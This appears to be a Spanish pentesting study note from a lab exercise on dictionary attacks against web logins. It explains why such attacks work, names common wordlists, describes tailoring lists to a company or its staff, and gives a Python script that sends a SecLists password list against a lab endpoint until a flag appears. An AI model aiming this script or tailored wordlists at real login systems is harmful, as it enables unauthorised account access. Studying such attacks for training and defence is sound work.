Ataques de Diccionario — Pentesting Web
🧠 ¿Por qué funcionan los ataques de diccionario?
Los ataques de diccionario son efectivos porque los humanos elegimos contraseñas fáciles de recordar, lo que normalmente implica:
-
Palabras reales de diccionario
-
Nombres
-
Patrones comunes
-
Información personal
-
Frases repetitivas o predecibles
Un ataque de diccionario explota la previsibilidad humana, reduciendo drásticamente el tiempo necesario para romper contraseñas débiles en comparación con un ataque de fuerza bruta.
⚔️ Fuerza Bruta vs Diccionario
| Característica | Ataque de diccionario | Ataque de fuerza bruta | Explicación |
|---|---|---|---|
| Eficiencia | Mucho más rápido | Lento y costoso | El diccionario reduce el espacio de búsqueda |
| Enfoque | Adaptable al objetivo | No dirigido | Puedes incluir palabras relacionadas con víctima/empresa |
| Efectividad | Excelente contra contraseñas débiles | Eficaz contra cualquier contraseña | Si la clave está en la lista → éxito inmediato |
| Limitaciones | No sirve contra contraseñas aleatorias | Impráctico para contraseñas largas | Las complejas no aparecerán en la lista |
🎯 Ejemplo de personalización de wordlist
Un atacante que apunta a un portal corporativo podría incluir:
-
“password123”, “qwerty”, etc.
-
Nombre de la empresa
-
Nombre de empleados
-
Jerga del sector
-
Patrones comunes
Esto aumenta significativamente las probabilidades de éxito.
📦 Fuentes de listas de palabras
🔓 Listas públicas
-
Contraseñas filtradas en breaches
-
Diccionarios comunes
-
Repositorios como SecLists
🛠️ Listas personalizadas
Construidas con información recopilada del objetivo:
-
Redes sociales
-
Temas de interés
-
Cultura de la empresa
-
Rutinas conocidas
🧩 Listas especializadas
Orientadas a:
-
Industrias concretas
-
Empresas específicas
-
Software o dispositivos con claves por defecto
📁 Listas integradas en distros
Por ejemplo, rockyou.txt suele venir en Kali, Parrot, etc.
📚 Wordlists comunes
| Lista | Descripción | Uso típico | Fuente |
|---|---|---|---|
| rockyou.txt | Millones de contraseñas filtradas | Ataques de contraseñas | RockYou breach |
| top-usernames-shortlist.txt | Usuarios comunes | Brute force rápido | SecLists |
| xato-net-10-million-usernames.txt | 10M usernames | Enumeración de usuarios | SecLists |
| 2023-200_most_used_passwords.txt | Top 200 del año | Contraseñas comunes | SecLists |
| default-passwords.txt | Credenciales por defecto | Routers, IoT, software | SecLists |
🧪 Ataque de Diccionario a /dictionary
La aplicación expone un endpoint:
POST /dictionary
Espera un parámetro:
password=<valor>
Si es correcto → devuelve flag.
Si es incorrecto → 401 Unauthorized.
🛠️ Script Python — dictionary-solver.py
import requests
ip = "83.136.255.53" # Change this to your instance IP address
port = 42108 # Change this to your instance port number
# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/500-worst-passwords.txt").text.splitlines()
# Try each password from the list
for password in passwords:
print(f"Attempted password: {password}")
# Send a POST request to the server with the password
response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})
# Check if the server responds with success and contains the 'flag'
if response.ok and 'flag' in response.json():
print(f"Correct password found: {password}")
print(f"Flag: {response.json()['flag']}")
break
▶️ ¿Qué hace el script?
-
Descarga la wordlist (500 peores contraseñas de SecLists)
-
Itera por cada contraseña
-
Envía un POST a
/dictionary -
Comprueba si la respuesta contiene
flag -
Si acierta → imprime contraseña correcta + flag
-
Si no → sigue con la siguiente
🧾 Ejecución
python3 dictionary-solver.py
Contraseña encontraa gateway
